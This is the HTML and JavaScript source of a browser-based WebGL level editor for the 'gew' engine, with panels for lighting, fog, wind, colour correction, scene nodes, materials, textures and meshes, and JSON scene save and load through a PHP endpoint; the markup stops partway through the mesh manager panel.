﻿<html>
<head>
<link rel="stylesheet" type="text/css" href="icons/mycss.css" />
<!--IMPORT JqueryUI-->
<link type="text/css" href="jqueryUI/css/ui-lightness/jquery-ui-1.8.custom.css" rel="stylesheet" />
<script type="text/javascript" src="jqueryUI/js/jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="jqueryUI/js/jquery-ui-1.8.custom.min.js"></script>
<!--IMPORT Colorpicker plugin for JqueryUI-->
<link rel="stylesheet" href="jqueryUI/css/colorpicker.css" type="text/css" />
<link rel="stylesheet" media="screen" type="text/css" href="jqueryUI/css/layout.css" />
<script type="text/javascript" src="jqueryUI/js/colorpicker.js"></script>
<!--IMPORT DynaTree plugin for jQuery-->
<link rel='stylesheet' type='text/css' href='jqueryUI/dynatree/skin/ui.dynatree.css'>
<script type="text/javascript" src="jqueryUI/dynatree/jquery.dynatree.js"></script>
<script type="text/javascript" src="jqueryUI/dynatree/jquery.cookie.js"></script>

<!--IMPORT jBrooser ( Server side file browser ) -->
<link rel="stylesheet" type="text/css" href="jqueryUI/jbrooser-0.9.1/css/brooser.css" />
<script type="text/javascript" src="jqueryUI/jbrooser-0.9.1/js/jquery.brooser-0.9.1.js"></script>
<!--IMPORT Gew-->
<script type="text/javascript" src="../../src/gew.js"></script>

<script type="text/javascript" src="Utils.js"></script>
<script type="text/javascript" src="TextureManagerScreen.js"></script>
<script type="text/javascript" src="MeshManagerScreen.js"></script>
<script type="text/javascript" src="DesignScreen.js"></script>
<script type="text/javascript">
const DESIGN_SCREEN_ID = 0;
const TEXTURE_MANAGER_SCREEN_ID = 1;
const MESH_MANAGER_SCREEN_ID = 2;
var testTh = 10;
function updateFog()
{
  var mode = document.getElementById("Fog_Mode").selectedIndex;
  var game = this.game;
  var screen = game.getScreen(DESIGN_SCREEN_ID);
  var scene3d = screen.scene3d;
  
  var fogColor = window.colorPicker["colorSelector06"];  
  if(!fogColor)
    fogColor = {r:255,g:255,b:255};
  var fogDensity = parseFloat( getTextFromInput("Fog_Density"));
  var fogMinFactor = parseFloat( getTextFromInput("Fog_MinFactor"));
  var fogMaxFactor = parseFloat( getTextFromInput("Fog_MaxFactor"));
  scene3d.fog.mode = mode;
  if(mode==0)
  {
    document.getElementById("Fog_Density").disabled = true;
    document.getElementById("Fog_MinFactor").disabled = true;
    document.getElementById("Fog_MaxFactor").disabled = true;
    document.getElementById("Fog_LayeredHeight").disabled = true;
    document.getElementById("Fog_LayeredFactor").disabled = true;
  }
  else
  {
    scene3d.fog.density = fogDensity;
    scene3d.fog.color.set( fogColor.r/255.0,
                           fogColor.g/255.0,
                           fogColor.b/255.0);
    scene3d.fog.minFactor = fogMinFactor;
    scene3d.fog.maxFactor = fogMaxFactor;
    if(mode==1)
    {
      document.getElementById("Fog_Density").disabled = false;
      document.getElementById("Fog_MinFactor").disabled = false;
      document.getElementById("Fog_MaxFactor").disabled = false;
      document.getElementById("Fog_LayeredHeight").disabled = true;
      document.getElementById("Fog_LayeredFactor").disabled = true;
    }
    else if(mode==2)
    {
      scene3d.fog.layeredHeightOffset = parseFloat( getTextFromInput("Fog_LayeredHeight"));
      scene3d.fog.layeredFactor = parseFloat( getTextFromInput("Fog_LayeredFactor"));
      document.getElementById("Fog_Density").disabled = false;
      document.getElementById("Fog_MinFactor").disabled = false;
      document.getElementById("Fog_MaxFactor").disabled = false;
      document.getElementById("Fog_LayeredHeight").disabled = false;
      document.getElementById("Fog_LayeredFactor").disabled = false;
    }
  } 
}
function updateFilter()
{
  var scene3d = this.game.screens[DESIGN_SCREEN_ID].scene3d;
  var filter = scene3d.filters;
  filter.levelFilter.isEnable = document.getElementById("LevelFilter_Enable").checked;
  filter.levelFilter.inBlack = parseFloat( getTextFromInput("LevelFilter_inBlack"));
  filter.levelFilter.inWhite = parseFloat( getTextFromInput("LevelFilter_inWhite"));
  filter.levelFilter.inGamma = parseFloat( getTextFromInput("LevelFilter_inGamma"));
  filter.levelFilter.outBlack = parseFloat( getTextFromInput("LevelFilter_outBlack"));
  filter.levelFilter.outWhite = parseFloat( getTextFromInput("LevelFilter_outWhite"));
}
function updateWind()
{
  var game = this.game;
  var screen = game.getScreen(DESIGN_SCREEN_ID);
  var scene3d = screen.scene3d;
  var x = getTextFromInput("Wind_StrengthX");
  var y = getTextFromInput("Wind_StrengthY");
  var z = getTextFromInput("Wind_StrengthZ");
  scene3d.wind.set(x,y,z);
}
function displayWind()
{
  var game = this.game;
  var screen = game.getScreen(DESIGN_SCREEN_ID);
  var scene3d = screen.scene3d;
  var wind = scene3d.wind;  
  document.getElementById("Wind_StrengthX").value = wind.x;
  document.getElementById("Wind_StrengthY").value = wind.y;
  document.getElementById("Wind_StrengthZ").value = wind.z;
}

function updateMainLight()
{
  var game = this.game;
  var screen = game.getScreen(DESIGN_SCREEN_ID);
  var scene3d = screen.scene3d;
  
  var ambient = window.colorPicker["colorSelector04"];
  var color = window.colorPicker["colorSelector05"];
  
  var dirX = getTextFromInput("MainLight_DirectionX");
  var dirY = getTextFromInput("MainLight_DirectionY");
  var dirZ = getTextFromInput("MainLight_DirectionZ");
  
  var ai = parseFloat( getTextFromInput("MainLight_AmbientIntensity"));
  var ci = parseFloat( getTextFromInput("MainLight_ColorIntensity"));
  
  var shadow_str = parseFloat( getTextFromInput("MainLight_ShadowStrength"));
  scene3d.mainLight.setData( new gewVec3(dirX,dirY,dirZ),
                             new gewVec3(ambient.r*ai/255.,ambient.g*ai/255.,ambient.b*ai/255.),
                             new gewVec3(color.r*ci/255.,color.g*ci/255.,color.b*ci/255.),
                             shadow_str);
}
function displayMainLight()
{
  var game = this.game;
  var screen = game.getScreen(DESIGN_SCREEN_ID);
  var scene3d = screen.scene3d;
  var light = scene3d.mainLight;
  
  var ai = parseFloat( getTextFromInput("MainLight_AmbientIntensity"));
  var ci = parseFloat( getTextFromInput("MainLight_ColorIntensity"));
  
  setColorPicker("colorSelector04",light.lightData[3]/ai,light.lightData[4]/ai,light.lightData[5]/ai);
  setColorPicker("colorSelector05",light.lightData[6]/ci,light.lightData[7]/ci,light.lightData[8]/ci);
  
  document.getElementById("MainLight_DirectionX").value = -light.lightData[0];
  document.getElementById("MainLight_DirectionY").value = -light.lightData[1];
  document.getElementById("MainLight_DirectionZ").value = -light.lightData[2];
  
  document.getElementById("MainLight_ShadowStrength").value = light.getShadowStrength();
}
function generateSceneJSON()
{
  var game = this.game;
  var gl   = game.gl;
  var screen = game.getScreen(DESIGN_SCREEN_ID);
  var scene3d = screen.scene3d;
  var json = {};
  json.textures = [];
  json.floatMaps = [];
  json.meshs    = [];
  json.scene    = {};
  
  // generate textures data
  var texture_list = game.textureManager.textureList;
  for(var i in texture_list)
  {
    var texture = texture_list[i];
    var tex_json = {};
    tex_json.name = i;
    tex_json.url  = texture.url;
    tex_json.format = texture.format;
    gl.bindTexture(gl.TEXTURE_2D,texture.glName);
    gl.flush();
    tex_json.magFilter = gl.getTexParameter(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER);
    tex_json.minFilter = gl.getTexParameter(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER);
    tex_json.wrapS     = gl.getTexParameter(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S);
    tex_json.wrapT     = gl.getTexParameter(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T);
    tex_json.isGenerateMipmap = texture.isMipmaped;
    tex_json.isFlipY          = texture.isFlipY;
    tex_json.isPremultiAlpha = texture.isPremultipliedAlpha;
    json.textures.push(tex_json)
  }
  // generate floatMaps data
  var floatmap_list = game.resourceManager.floatMaps;
  for(var i in floatmap_list)
  {
    var map = floatmap_list[i];
    var map_json = {};
    map_json.name = i;
    map_json.url  = map.url;
    json.floatMaps.push(map_json);
  }
  // generate meshs data
  var mesh_list = game.meshManager.meshList;
  for(var i in mesh_list)
  {
    var mesh = mesh_list[i];
    var mesh_json = {};
    mesh_json.name = i;
    mesh_json.url  = mesh.url;    
    mesh_json.isCreateVBO = mesh.isCreateVBO;
    
    json.meshs.push(mesh_json);
  }
  //////////////////////////////////////////////////////////////////////////////////////////
  // generate scenegraph data
 
  //////////////////////////////////////////////////////////////////////////////////////////
  // scene's data: mainlight, wind, fog, colorcorrection
  json.scene.mainLight = {};
  json.scene.mainLight.data = [];
  for(var i=0;i<scene3d.mainLight.lightData.length;i++)
    json.scene.mainLight.data.push(scene3d.mainLight.lightData[i]);
  json.scene.wind = scene3d.wind;
  json.scene.fog = scene3d.fog;
  json.scene.colorCorrection = scene3d.filters.levelFilter; 

  json.scene.effects = [];
  json.scene.nodes = [];  
  ///////////////////////////////////////////////////////////////////////////////
  // Effect
  var effects = scene3d.effects
  var eNum = effects.length;
  
  var allMaterialList = []; // To help node get its material idx later
  for(var i=0;i<eNum;i++)
  {
    var effect = effects[i];
    var e_json = {};
    var ename = e_json.name = effect.name;
    // Add more specify data of this effect type
    switch(ename)
    {
      case "SkyboxEffect":
        e_json.textureName = getTexName(effect.texture);
        e_json.boxHalfSize = effect.boxHalfSize;
        break;
    }    
    
    /////////////////////////////////////////////////////////////////////////////
    //Material    
    e_json.materials = [];
    var material_list = effect.materialList;
    for(var m in material_list)
    {
      var material = material_list[m];
      allMaterialList.push(material);
      var m_json = {};
      m_json.name = m;
      var mtype = getClassName(material);
      m_json.className = mtype.substring(3, mtype.length);
      if(material.batchType!=GEW_NO_BATCH)
        m_json.batch = material.batchType;
      // Add more specify data of this material type
      switch(mtype)
      {
        case "gewCSMMaterial":
          m_json.type = material.type;
          if(material.type==GEW_SHADOW_ALPHA_REF)
          {
            m_json.textureName = getTexName( material.texture);
            m_json.alphaRef = material.alphaRef;
          }
          break;
        case "gewTerrainMaterial":
          m_json.heightMapName = getFloatMapName(material.heightMap);
          m_json.textureMapName = getTexName(material.textureMap);
          m_json.alphaMapName = getTexName(material.alphaMap);
          m_json.materialTex0 = getTexName(material.materialTex0);
          m_json.materialTex1 = getTexName(material.materialTex1);
          m_json.materialTex2 = getTexName(material.materialTex2);
          m_json.materialTex3 = getTexName(material.materialTex3);
          m_json.terrainSize = material.terrainSize;
          m_json.materialSize = material.materialSize;
          m_json.materialBlendFactor = material.materialBlendFactor;
          m_json.materialBlendRadius = material.materialBlendRadius;
          m_json.updateStep = material.updateStep;
          m_json.ambient = material.ambient;
          m_json.diffuse = material.diffuse;
          break;
        case "gewWaterMaterial":
          m_json.normalMapName = getTexName(material.normalMap);
          m_json.reflectionMapName = getTexName(material.reflectionMap);
          m_json.waterColor = material.waterColor;
          m_json.waveSize = material.waveSize;
          m_json.strength = material.strength;
          break;
        case "gewGrassMaterial":
          m_json.grassPackTextureName = getTexName(material.grassPackTexture);
          m_json.alphaRef = material.alphaRef;
          m_json.strength = material.strength;
          m_json.swingFactor = material.swingFactor;
          break;
        case "gewPhongMaterial":
          m_json.textureName = getTexName(material.texture);
          m_json.ambient = material.ambient;
          m_json.diffuse = material.diffuse;
          m_json.specular = material.specular;
          m_json.shininess = material.shininess;
          m_json.alphaRef = material.alphaRef;
          m_json.faceCulling = material.faceCulling;
          break;
      }
      e_json.materials.push(m_json);      
    }
    json.scene.effects.push(e_json);        
  }
  ///////////////////////////////////////////////////////////////
  // Nodes
  var rootChildren = scene3d.root.children;
  for(var i=0;i<rootChildren.length;i++)
  {
    var node_json = getNodeJSON(null, rootChildren[i],allMaterialList,json);
    if(node_json)
      json.scene.nodes.push(node_json);
  }
  return JSON.stringify(json);
}
function getNodeJSON(parent_json,node,allMaterialList,json)
{
  var node_json = {};
  node_json.name = node.name;
  var oneVec = new gewVec3(1,1,1);
  var zeroVec = new gewVec3(0,0,0);
  // Write node pos ( if needed)
  if (!node.position.isEqual(zeroVec)) {
    node_json.pos = [ parseFloat(node.position.x.toFixed(2)),
					  parseFloat(node.position.y.toFixed(2)),
					  parseFloat(node.position.z.toFixed(2)) ] ;
  }
  // Write node scale transform ( if needed )
  if (!node.scale.isEqual(oneVec)) {
  	node_json.sca = [ parseFloat(node.scale.x.toFixed(2)),
					  parseFloat(node.scale.y.toFixed(2)),
					  parseFloat(node.scale.z.toFixed(2))];
  }
  // Write node rotate ( if needed )
  if (!node.rotate.isEqual(zeroVec)) {
  	node_json.rot = [ parseFloat(node.rotate.x.toFixed(2)),
					  parseFloat(node.rotate.y.toFixed(2)),
					  parseFloat(node.rotate.z.toFixed(2)),
					  parseFloat(node.angle.toFixed(1)) ] ;
  }
  // Write node material
  var materialList = node.materials;
  node_json.ma = [];
  for(var m in materialList)
  {
    var offset = getOffsetInArray(materialList[m],allMaterialList);
    if(offset!=-1)
      node_json.ma.push(offset);
    else 
      alert("getNodeJSON: Can't not find material named '"+m+"'");
  }
  // Write node type 
  var nodeClass = getClassName(node);
  var type = 0;
  switch(nodeClass)
  {
    case "gewNode":
      type = GEW_NODE;break;
    case "gewMeshNode":
      type = GEW_MESH_NODE;break;
    case "gewGrassNode":
      type = GEW_GRASS_NODE;break;
    case "gewTerrainNode":
      type = GEW_TERRAIN_NODE;break;
    case "gewWaterNode":
      type = GEW_WATER_NODE;break;
    case "gewAnimatedMeshNode":
      type = GEW_ANIMATED_MESH_NODE;break;
    case "gewWorldCamera":
      return null;
    default:
      alert("gewNodeJSON:Warning:the class name '"+nodeClass+"' is undefined! Skip this node"); 
      return null;
  }
  node_json.type = type;
  
  switch(type)
  {
    case GEW_MESH_NODE:
      node_json.mesh = getMeshIdx( getMeshName(node.mesh), json.meshs);
	  if(node.shouldCreatePhysicsBody)
	  	node_json.isPhysics = 1; 
      if(node_json.mesh==-1)
        alert("getNodeJSON: can't find '"+getMeshName(node.mesh)+"' mesh!")
      break;
    case GEW_WATER_NODE:
      node_json.mesh = getMeshIdx( getMeshName(node.mesh), json.meshs);
      if(node_json.mesh==-1)
        alert("getNodeJSON: can't find '"+getMeshName(node.mesh)+"' mesh!")
      break;
    case GEW_TERRAIN_NODE:
      node_json.clipmapSize = node.clipmapSize;
      node_json.gridSpace = node.gridSpace;
      node_json.levelNum = node.levelNum;
      break;
    case GEW_GRASS_NODE:
      node_json.clumpRatioRange = node.clumpRatioRange;
      node_json.clumpHeightRange = node.clumpHeightRange;
      node_json.type0Percent = node.type0Percent;
      node_json.type1Percent = node.type1Percent;
      node_json.type2Percent = node.type2Percent;
      node_json.type3Percent = node.type3Percent;
      node_json.boxBrushs = [];
      node_json.pointBrushs = [];
      for(var b=0;b<node.boxBrushs.length;b++)
      {
        node_json.boxBrushs[b] = [];
        var brush = node.boxBrushs[b];
        node_json.boxBrushs[b][0] = parseFloat(brush.minx.toFixed(2));
        node_json.boxBrushs[b][1] = parseFloat(brush.maxx.toFixed(2));
        node_json.boxBrushs[b][2] = parseFloat(brush.miny.toFixed(2));
        node_json.boxBrushs[b][3] = parseFloat(brush.maxy.toFixed(2));
        node_json.boxBrushs[b][4] = parseFloat(brush.density.toFixed(2));
      }
      for(var b=0;b<node.pointBrushs.length;b++)
      {
        node_json.pointBrushs[b] = [];
        var brush = node.pointBrushs[b];
        node_json.pointBrushs[b][0] = parseFloat(brush.x.toFixed(2));
        node_json.pointBrushs[b][1] = parseFloat(brush.y.toFixed(2));
        node_json.pointBrushs[b][2] = parseFloat(brush.z.toFixed(2));
      }
      break;
  }
  
  // Write children nodes
  node_json.child = [];
  var children = node.children;
  for(var i =0;i<children.length;i++)
  {
    getNodeJSON(node_json,children[i],allMaterialList,json);
  }
  if(parent_json)
  {
    parent_json.child.push(node_json);
  }
  else
  {
    return node_json;
  }  
}
function saveFile()
{
  var file_content = generateSceneJSON();
  var file_extension=".gsg"
  var xhr = new XMLHttpRequest();
  var url="saveFile.php";
  var content = "filename="+getTextFromInput("saveFileDialog_Filename")+file_extension+"&content="+file_content;
  //xhr.open("GET",url,true);
  //xhr.send(null);
  xhr.open("POST", url,true);
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhr.setRequestHeader("Content-length", content.length);
  xhr.setRequestHeader("Connection", "close");
  xhr.send(content);
  $("#saveFileDialog").dialog("close");
}
function openFile()
{  
  var xhr = new XMLHttpRequest();
  
  xhr.onreadystatechange = function()
  {
    if (xhr.readyState == 4) 
    {
      if (xhr.status == 200 || xhr.status == 0) {
        var game = window.game;
        var gl = game.gl;
        var screen = game.getScreen(DESIGN_SCREEN_ID);
        var scene3d = screen.scene3d;
        scene3d.parseJSON(xhr.responseText,null,true);        
        setTimeout(function(){updateAllUIList()},1000);
      }
      else {
        alert("openFile::Error!");
      }
    }
  }
  var file_extension=".gsg"
  var url="Save_scene/"+ getTextFromInput("openFileDialog_Filename")+file_extension;
  xhr.open("GET",url,true);
  xhr.send(null);
  $("#openFileDialog").dialog("close");
}
function main()
{
  var game = new gewGame("cavans_id");
  this.gl = game.gl;
  this.game = game;
  var designScreen = new DesignScreen(game);
  var textureScreen = new TextureManagerScreen(game);
  var meshScreen = new MeshManagerScreen(game);
  game.addScreen(designScreen, DESIGN_SCREEN_ID);
  game.addScreen(textureScreen, TEXTURE_MANAGER_SCREEN_ID);
  game.addScreen(meshScreen,MESH_MANAGER_SCREEN_ID);
  game.setScreen(DESIGN_SCREEN_ID);
  designScreen.init();
  meshScreen.init();
  // Create UI
  $("#Scene_tabs").tabs();  
  
  $('#Scene_tabs').bind('tabsselect', function(event, ui) {
    var idx = ui.index;
    switch(idx)
    {
      case 0:// effect tab
        break;
      case 1:// material tab
        materialTabChangeEffect();
        break;
      case 2:// node tab
        break;
    }
  });
  
  $("#info_tabs").tabs({ ajaxOptions: { async: false },cache:true });  
  game.accordion =  $("#accordion").accordion({
    changestart: function(event, ui) 
    { 
      var text = ui.newHeader[0].innerText || ui.newHeader[0].textContent;
      var sub = text.substring(0,3);
      if(sub=="Tex" )
      {
        game.setScreen(TEXTURE_MANAGER_SCREEN_ID);
        clearInfoTab();
        addInfoTab("infoTabs/TexturePropertiesTab.html","Properties"); 
        displayTexture();
      }
      else if(sub=="Mes")
      {
        game.setScreen(MESH_MANAGER_SCREEN_ID);
        clearInfoTab();
        displayMesh();
      }
      else if(sub=="Sce")
      {
        clearInfoTab();
        game.setScreen(DESIGN_SCREEN_ID);
      } 
      else if(sub=="Fil")
      {
        clearInfoTab();
        game.setScreen(DESIGN_SCREEN_ID);
        displayMainLight();
        displayWind();
      }
    },    
  });
  $("#addTextureDialog").dialog({autoOpen:false,width:'auto',modal:true,buttons:{ "Ok":function(){addTexture();},"Cancel":function(){$(this).dialog("close");} }  } );
  $("#modTextureDialog").dialog({autoOpen:false,width:'auto',modal:true,buttons:{ "Ok":function(){modTexture();},"Cancel":function(){$(this).dialog("close");} }  } );
  $("#addMeshDialog").dialog({autoOpen:false,width:'auto',modal:true,buttons:{ "Ok":function(){addMesh();},"Cancel":function(){$(this).dialog("close");} }  } );
  $("#addSkyboxEffectDialog").dialog({autoOpen:false,width:'auto',modal:true, buttons:{ "Ok":function(){addSkyboxEffect();},"Cancel":function(){$(this).dialog("close");} }} );
  $("#addMaterialDialog").dialog({autoOpen:false,width:'auto',modal:true, buttons:{ "Ok":function(){addMaterial();},"Cancel":function(){$(this).dialog("close");} }} );
  $("#addNodeDialog").dialog({autoOpen:false,width:'auto',modal:true, buttons:{ "Ok":function(){addNode();},"Cancel":function(){$(this).dialog("close");} }} );
  $("#addTerrainNodeDialog").dialog({autoOpen:false,width:'auto',modal:true, buttons:{ "Ok":function(){addTerrainNode();},"Cancel":function(){$(this).dialog("close");} }} );
  
  $("#saveFileDialog").dialog({autoOpen:false,width:'auto',modal:true, buttons:{ "Ok":function(){saveFile();},"Cancel":function(){$(this).dialog("close");} }} );
  $("#openFileDialog").dialog({autoOpen:false,width:'auto',modal:true, buttons:{ "Ok":function(){openFile();},"Cancel":function(){$(this).dialog("close");} }} );
  
  $("#addFloatmapDialog").dialog({autoOpen:false,width:'auto',modal:true, buttons:{ "Ok":function(){addFloatmap();},"Cancel":function(){$(this).dialog("close");} }} );
  
  $("#Node_tab_NodeTree").dynatree({
      title:"root", 
      rootVisible: true,
      onActivate: function(dtnode) { 
        currentTool = NODE_TOOL_SELECT;
        displayActiveNode(dtnode);         
      },      
  });  
  
  var htmlDir = "/gew/demo/LevelDesign/"
  
  $('#addTextureDialog_Browser').brooser({
  currentDir: '../../../',
  phpFile:  'jqueryUI/jbrooser-0.9.1/php/Brooser.php',
  onFinish: function(file){
    document.getElementById("addTextureDialog_URL").value = file.substring(htmlDir.length,1000) ;
    }
  });
  
  $('#addMeshDialog_Browser').brooser({
  currentDir: '../../../',
  phpFile:  'jqueryUI/jbrooser-0.9.1/php/Brooser.php',
  onFinish: function(file){
    document.getElementById("addMeshDialog_URL").value = file.substring(htmlDir.length,1000) ;
    }
  });
  
  $('#addFloatmapDialog_Browser').brooser({
  currentDir: '../../../',
  phpFile:  'jqueryUI/jbrooser-0.9.1/php/Brooser.php',
  onFinish: function(file){
    document.getElementById("addFloatmapDialog_URL").value = file.substring(htmlDir.length,1000) ;
    }
  });
  
  createColorPicker("colorSelector04","updateMainLight");
  createColorPicker("colorSelector05","updateMainLight");
  createColorPicker("colorSelector06","updateFog");
  displayMainLight();
  displayWind();
  
  //var worker = new Worker('testThread.js');  
  //this.updateAllUIList();
  setInterval(function(){game.run()},40);
}
function updateAllUIList()
{
  updateTextureList();
  updateMeshList();
  updateEffectList();
  updateMaterialList("Scene_Material_EffectList","Scene_Material_MaterialList");  
  updateNodeTree("Node_tab_NodeTree");
  updateFloatmapList("TextureManager_FloatmapList");
}
</script>
<script type="text/javascript">
     $(document).ready(function(){
       main();
     });
</script>   
</head>
<body oncontextmenu="return false">
  <table>
    <tr vAlign="top">
    <td width="300px">
      <div id="accordion">
        <h3><a href="#">File</a></h3>
        <div>
          <button class="button_with_icon">
            <img src="icons/new.gif"></img>
          </button>
          <button onclick='$("#openFileDialog").dialog("open");' class="button_with_icon">
            <img src="icons/open.gif"></img>
          </button>
          <button onclick='$("#saveFileDialog").dialog("open");' class="button_with_icon">
            <img src="icons/save.gif"></img>
          </button>          
          
          <p>--MAIN LIGHT-----------------------------</p>
          <table>
            <tr>
              <td>Direction</td><td><input onchange="updateMainLight();" style="width: 45px" onkeypress="return isNumberKey(event);" type="text" id="MainLight_DirectionX"/>
                                    <input onchange="updateMainLight();" style="width: 45px" onkeypress="return isNumberKey(event);" type="text" id="MainLight_DirectionY"/>
                                    <input onchange="updateMainLight();" style="width: 45px" onkeypress="return isNumberKey(event);" type="text" id="MainLight_DirectionZ"/>                                     
            </tr>
          </table>
          <table>
            <tr>
              <td>Ambient</td><td><div id="colorSelector04"><div style="background-color: #0000ff"></div></div></td>
              <td>Intensity<input value="1.0" onchange="updateMainLight();" style="width: 35px" onkeypress="return isNumberKey(event);" type="text" id="MainLight_AmbientIntensity"/></td>
            </tr>
              <td>Color</td><td><div id="colorSelector05"><div style="background-color: #0000ff"></div></div></td>
              <td>Intensity<input value="1.0" onchange="updateMainLight();" style="width: 35px" onkeypress="return isNumberKey(event);" type="text" id="MainLight_ColorIntensity"/></td>
            </tr>
            <tr>
              <td>Shadow Str</td><td><input onchange="updateMainLight();" style="width: 45px" onkeypress="return isNumberKey(event);" type="text" id="MainLight_ShadowStrength"/></td>
            </tr>
            
          </table>
          <p>--WIND------------------------------------</p>
          <table>
            <tr>
              <td>Strength </td><td><input onchange="updateWind();" style="width: 45px" onkeypress="return isNumberKey(event);" type="text" id="Wind_StrengthX"/>
                                <input onchange="updateWind();" style="width: 45px" onkeypress="return isNumberKey(event);" type="text" id="Wind_StrengthY"/>
                                <input onchange="updateWind();" style="width: 45px" onkeypress="return isNumberKey(event);" type="text" id="Wind_StrengthZ"/>                                     
            </tr>
          </table>
          <p>--FOG-------------------------------------</p>
          Mode<select onchange="updateFog();" id="Fog_Mode">
            <option value="0">No Fog</option>
            <option value="1">Homogeneous</option>
            <option value="2">Layered</option>
          </select>
          <table>
            <tr>
              <td>Color </td><td><div id="colorSelector06"><div style="background-color: #ffffff"></div></div></td>                             
            </tr>
            <tr>
              <td>Density</td><td><input value="0.003" disabled=true onchange="updateFog();" style="width: 45px" onkeypress="return isNumberKey(event);" type="text" id="Fog_Density"/></td>
            </tr>
            <tr>
              <td>MinMax Factor</td><td><input value="0" disabled=true onchange="updateFog();" style="width: 35px" onkeypress="return isNumberKey(event);" type="text" id="Fog_MinFactor"/></td>
                                    <td><input value="1" disabled=true onchange="updateFog();" style="width: 35px" onkeypress="return isNumberKey(event);" type="text" id="Fog_MaxFactor"/></td>
            </tr>
            <tr>
              <td>Layered Height</td><td><input value="0" disabled=true onchange="updateFog();" style="width: 45px" onkeypress="return isNumberKey(event);" type="text" id="Fog_LayeredHeight"/></td>
            </tr>
            <tr>
              <td>Layered Factor</td><td><input value="1" disabled=true onchange="updateFog();" style="width: 45px" onkeypress="return isNumberKey(event);" type="text" id="Fog_LayeredFactor"/></td>
            </tr>
          </table>
          <p>--COLOR CORRECTION------------------</p>
          <table>   
            <tr><td>Enable</td><td> <input onchange="updateFilter();" id="LevelFilter_Enable" checked=true type="checkbox"/> </td></tr>
            <tr>
              <td>inB</td><td><input onchange="updateFilter();" value="0" style="width: 40px" onkeypress="return isNumberKey(event);" type="text" id="LevelFilter_inBlack"/></td>
              <td>inG</td><td><input onchange="updateFilter();" value="1.0" style="width: 40px" onkeypress="return isNumberKey(event);" type="text" id="LevelFilter_inGamma"/></td>   
              <td>inW</td><td><input onchange="updateFilter();" value="255" style="width: 40px" onkeypress="return isNumberKey(event);" type="text" id="LevelFilter_inWhite"/></td>
            </tr>
            <tr>
              <td>outB</td><td><input onchange="updateFilter();" value="0" style="width: 40px" onkeypress="return isNumberKey(event);" type="text" id="LevelFilter_outBlack"/></td>
              <td>outW</td><td><input onchange="updateFilter();" value="255" style="width: 40px" onkeypress="return isNumberKey(event);" type="text" id="LevelFilter_outWhite"/></td>
            </tr>
          </table>
        </div>
        <h3><a href="#">Scene</a></h3>
        <div>
           <div id="Scene_tabs">
            <ul>
              <li><a href="#Effect_tab">Effect</a></li>
              <li><a href="#Material_tab">Material</a></li>
              <li><a href="#Node_tab">Node</a></li>
            </ul>
            <div id="Effect_tab">
              Render order :
              <p><select id="Scene_Effect_orderList" size=10 style="width: 220px"></select></p>
              <p>
                <button onclick="removeEffect()" class="button_with_icon">
                  <img src="icons/recycle_bin.gif"></img>
                </button>
                <button onclick="changeRenderOrder(true)" class="button_with_icon">
                  <img src="icons/up.gif"></img>
                </button>
                <button onclick="changeRenderOrder(false)" class="button_with_icon">
                  <img src="icons/down.gif"></img>
                </button>
              </p>
              <p>
                <button onclick="addEffect()" class="button_with_icon">
                  <img src="icons/add.gif"></img>
                </button>
                <select id="Scene_Effect_AddList">
                  <option value="CSMEffect">CSMEffect</option>
                  <option value="GrassEffect">GrassEffect</option>
                  <option value="PhongEffect">PhongEffect</option>
                  <option value="PhongNoShadowEffect">PhongNoShadowEffect</option>
                  <option value="PhongKFEffect">PhongKFEffect</option>
                  <option value="SkyboxEffect">SkyboxEffect</option>
                  <option value="TerrainEffect">TerrainEffect</option>
                  <option value="WaterEffect">WaterEffect</option>
                </select>
              </p>
            </div>
            <div id="Material_tab">
              Effect:<select id="Scene_Material_EffectList" onchange='materialTabChangeEffect()'></select>
              <p>Material list :</p>
              <p><select id="Scene_Material_MaterialList" size=6 style="width: 220px" onchange='displayMaterial()'></select></p>
              <p>
                <button onclick="openAddMaterialDiaglog()" class="button_with_icon">
                  <img src="icons/add.gif"></img>
                </button>
                <button onclick="removeMaterial()" class="button_with_icon">
                  <img src="icons/recycle_bin.gif"></img>
                </button>
              </p>
            </div>
            <div id="Node_tab">
              <table>
                <tr>
                  <td><button onclick="currentTool=NODE_TOOL_SELECT;" class="button_with_icon">
                        <img src="icons/select.gif"></img>
                      </button></td>
                  <td><button class="button_with_icon" onclick="removeNode();">
                        <img src="icons/recycle_bin.gif"></img>
                      </button></td>
                  <td><button onclick="dupNode();">Dup</button></td>
                  <td><button onclick="currentTool=NODE_POINT_PAINT;clearInfoTab();addInfoTab('infoTabs/PaintToolTab.html','Paint Node');">Paint</button></td>
                </tr>
              </table>
              <table>
                <tr>
                  <td><button onclick="openAddNodeDiaglog()" class="button_with_icon">
                        <img src="icons/add.gif"></img>
                      </button></td>
                  <td><select id="Node_tab_NodeTypeList">
                    <option value="GrassNode">GrassNode</option>
                    <option value="MeshNode">MeshNode</option>
                    <option value="Node">Node</option>
                    <option value="TerrainNode">TerrainNode</option>
                    <option value="WaterNode">WaterNode</option>
                  </select></td>
                </tr>
              </table>
              <div id="Node_tab_NodeTree"> </div>
            </div>
          </div>
        </div>
        <h3><a href="#">Texture manager</a></h3>
        <div>
          Texture list:
          <p><select id="TextureManager_TextureList" onchange="displayTexture()" size=7 style="width: 250px"></select></p>   
          <p>
            <button onclick='$("#addTextureDialog").dialog("open");' class="button_with_icon">
              <img src="icons/add.gif"></img>
            </button>
            <button onclick='removeTexture()' class="button_with_icon">
              <img src="icons/recycle_bin.gif"></img>
            </button>
            <button onclick='$("#modTextureDialog").dialog("open");' class="button_with_icon">
              <img src="icons/gear.gif"></img>
            </button>
          </p>
          <p>
            <button onclick="displayTextureByGLName()">View</button>
            <input type="text" id="TextureManager_GLName"/>
          </p>
          ------------------------------------------
          <p>Float-map list:</p>
          <p><select id="TextureManager_FloatmapList" size=3 style="width: 250px"></select></p>   
          <p>
            <button onclick='$("#addFloatmapDialog").dialog("open");' class="button_with_icon">
              <img src="icons/add.gif"></img>
            </button>
            <button onclick='removeFloatmap()' class="button_with_icon">
              <img src="icons/recycle_bin.gif"></img>
            </button>
          </p>
        </div>
        <h3><a href="#">Mesh manager</a></h3>
        <div>
          Mesh list:
          <p><select id="MeshManager_MeshList" onchange="displayMesh()" size=10 style="width: 250px"></select></p>
          <p>
